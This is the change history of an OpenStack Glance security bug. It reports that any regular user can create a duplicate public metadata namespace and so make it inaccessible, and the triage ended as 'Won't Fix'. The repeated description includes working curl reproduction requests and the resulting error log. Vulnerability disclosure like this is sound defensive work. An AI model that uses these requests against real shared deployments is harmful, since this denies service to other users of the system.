2015-07-29 14:31:25 |
Niall Bunting |
bug |
|
|
added bug |
2015-07-29 14:32:01 |
Niall Bunting |
bug |
|
|
added subscriber Louis Taylor |
2015-07-29 17:04:03 |
Grant Murphy |
bug task added |
|
ossa |
|
2015-07-29 17:04:18 |
Grant Murphy |
description |
Overview:
Through creation of a new public namespace by any user of the system, you can create a clash of namespaces, that breaks all accessibility to that namespace. This therefore can be used to cause a denial of service attack or you have to disable the service completely.
How to produce:
As a regular user run the command:
curl -v -X POST http://16.49.138.140:9292/v2/metadefs/namespaces -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7" -d '{"namespace": "OS::Computer::WebServers", "visibility": "public"}'
This will create a new namespace with the same name as the existing namespace. This has now rendered the original namespace inaccessible. If a GET request is done to the namespaces name by any other user via (or viewing in horizon):
curl -v -X GET http://16.49.138.140:9292/v2/metadefs/namespaces/OS::Computer::WebServers -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7"
It will cause the following output in the api console:
2015-07-28 23:41:42.175 ERROR glance.api.v2.metadef_properties [req-e3a80995-6f37-4e5c-b7dd-a1ce978478c7 f76c222365fb490792300f9e49ec9bd0 9db14ac3320b4396b58222f99dd04e4e] Multiple rows were found for one()
Returning a 500 to the user and therefore the namespace inaccessible meaning a successful denial of service to most of the metadefs api as most require it.
Attempted preventative measures:
In the policy.json files there are only the following values:
"get_metadef_namespace": "",
"get_metadef_namespaces":"",
"modify_metadef_namespace":"",
"add_metadef_namespace":"",
meaning that creating namespaces has to be disabled completely(not default ) as there in no publicize option. |
This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments.
Overview:
Through creation of a new public namespace by any user of the system, you can create a clash of namespaces, that breaks all accessibility to that namespace. This therefore can be used to cause a denial of service attack or you have to disable the service completely.
How to produce:
As a regular user run the command:
curl -v -X POST http://16.49.138.140:9292/v2/metadefs/namespaces -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7" -d '{"namespace": "OS::Computer::WebServers", "visibility": "public"}'
This will create a new namespace with the same name as the existing namespace. This has now rendered the original namespace inaccessible. If a GET request is done to the namespaces name by any other user via (or viewing in horizon):
curl -v -X GET http://16.49.138.140:9292/v2/metadefs/namespaces/OS::Computer::WebServers -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7"
It will cause the following output in the api console:
2015-07-28 23:41:42.175 ERROR glance.api.v2.metadef_properties [req-e3a80995-6f37-4e5c-b7dd-a1ce978478c7 f76c222365fb490792300f9e49ec9bd0 9db14ac3320b4396b58222f99dd04e4e] Multiple rows were found for one()
Returning a 500 to the user and therefore the namespace inaccessible meaning a successful denial of service to most of the metadefs api as most require it.
Attempted preventative measures:
In the policy.json files there are only the following values:
"get_metadef_namespace": "",
"get_metadef_namespaces":"",
"modify_metadef_namespace":"",
"add_metadef_namespace":"",
meaning that creating namespaces has to be disabled completely(not default ) as there in no publicize option. |
|
2015-07-29 17:04:39 |
Grant Murphy |
ossa: status |
New |
Incomplete |
|
2015-07-31 14:34:02 |
Louis Taylor |
bug |
|
|
added subscriber Stuart McLaren |
2015-07-31 14:54:28 |
Niall Bunting |
bug |
|
|
added subscriber Travis Tripp |
2015-08-03 14:43:59 |
Jeremy Stanley |
bug |
|
|
added subscriber Glance Core security contacts |
2015-08-06 20:57:21 |
Nikhil Komawar |
glance: status |
New |
Triaged |
|
2015-08-06 20:57:25 |
Nikhil Komawar |
glance: importance |
Undecided |
High |
|
2015-08-07 09:42:16 |
Stuart McLaren |
bug |
|
|
added subscriber Wayne |
2015-08-07 09:42:34 |
Stuart McLaren |
bug |
|
|
added subscriber Lakshmi N Sampath |
2015-08-10 17:18:49 |
Tristan Cacqueray |
ossa: status |
Incomplete |
Confirmed |
|
2015-08-10 20:31:01 |
Tristan Cacqueray |
ossa: status |
Confirmed |
Triaged |
|
2015-08-10 20:31:03 |
Tristan Cacqueray |
ossa: assignee |
|
Tristan Cacqueray (tristan-cacqueray) |
|
2015-08-17 14:15:36 |
Jeremy Stanley |
bug |
|
|
added subscriber OSSG CoreSec |
2015-08-22 12:56:47 |
Jeremy Stanley |
information type |
Private Security |
Public Security |
|
2015-08-24 14:05:12 |
Tristan Cacqueray |
description |
This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments.
Overview:
Through creation of a new public namespace by any user of the system, you can create a clash of namespaces, that breaks all accessibility to that namespace. This therefore can be used to cause a denial of service attack or you have to disable the service completely.
How to produce:
As a regular user run the command:
curl -v -X POST http://16.49.138.140:9292/v2/metadefs/namespaces -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7" -d '{"namespace": "OS::Computer::WebServers", "visibility": "public"}'
This will create a new namespace with the same name as the existing namespace. This has now rendered the original namespace inaccessible. If a GET request is done to the namespaces name by any other user via (or viewing in horizon):
curl -v -X GET http://16.49.138.140:9292/v2/metadefs/namespaces/OS::Computer::WebServers -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7"
It will cause the following output in the api console:
2015-07-28 23:41:42.175 ERROR glance.api.v2.metadef_properties [req-e3a80995-6f37-4e5c-b7dd-a1ce978478c7 f76c222365fb490792300f9e49ec9bd0 9db14ac3320b4396b58222f99dd04e4e] Multiple rows were found for one()
Returning a 500 to the user and therefore the namespace inaccessible meaning a successful denial of service to most of the metadefs api as most require it.
Attempted preventative measures:
In the policy.json files there are only the following values:
"get_metadef_namespace": "",
"get_metadef_namespaces":"",
"modify_metadef_namespace":"",
"add_metadef_namespace":"",
meaning that creating namespaces has to be disabled completely(not default ) as there in no publicize option. |
Overview:
Through creation of a new public namespace by any user of the system, you can create a clash of namespaces, that breaks all accessibility to that namespace. This therefore can be used to cause a denial of service attack or you have to disable the service completely.
How to produce:
As a regular user run the command:
curl -v -X POST http://16.49.138.140:9292/v2/metadefs/namespaces -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7" -d '{"namespace": "OS::Computer::WebServers", "visibility": "public"}'
This will create a new namespace with the same name as the existing namespace. This has now rendered the original namespace inaccessible. If a GET request is done to the namespaces name by any other user via (or viewing in horizon):
curl -v -X GET http://16.49.138.140:9292/v2/metadefs/namespaces/OS::Computer::WebServers -H "Content-Type: application/json" -H "X-Auth-Token: 1a499605071a46a8b9b2a938fac5fac7"
It will cause the following output in the api console:
2015-07-28 23:41:42.175 ERROR glance.api.v2.metadef_properties [req-e3a80995-6f37-4e5c-b7dd-a1ce978478c7 f76c222365fb490792300f9e49ec9bd0 9db14ac3320b4396b58222f99dd04e4e] Multiple rows were found for one()
Returning a 500 to the user and therefore the namespace inaccessible meaning a successful denial of service to most of the metadefs api as most require it.
Attempted preventative measures:
In the policy.json files there are only the following values:
"get_metadef_namespace": "",
"get_metadef_namespaces":"",
"modify_metadef_namespace":"",
"add_metadef_namespace":"",
meaning that creating namespaces has to be disabled completely(not default ) as there in no publicize option. |
|
2015-08-25 12:39:59 |
Thierry Carrez |
bug |
|
|
added subscriber Thierry Carrez |
2015-08-25 14:26:03 |
Tristan Cacqueray |
nominated for series |
|
glance/kilo |
|
2015-08-25 14:26:03 |
Tristan Cacqueray |
nominated for series |
|
glance/juno |
|
2015-09-08 14:09:00 |
Tristan Cacqueray |
ossa: status |
Triaged |
Won't Fix |
|
2015-09-08 14:09:03 |
Tristan Cacqueray |
information type |
Public Security |
Public |
|
2020-04-07 06:27:03 |
Khuong Luu |
glance: assignee |
|
Khuong Luu (organic-doge) |
|
2020-04-07 06:27:41 |
Khuong Luu |
glance: assignee |
Khuong Luu (organic-doge) |
|
|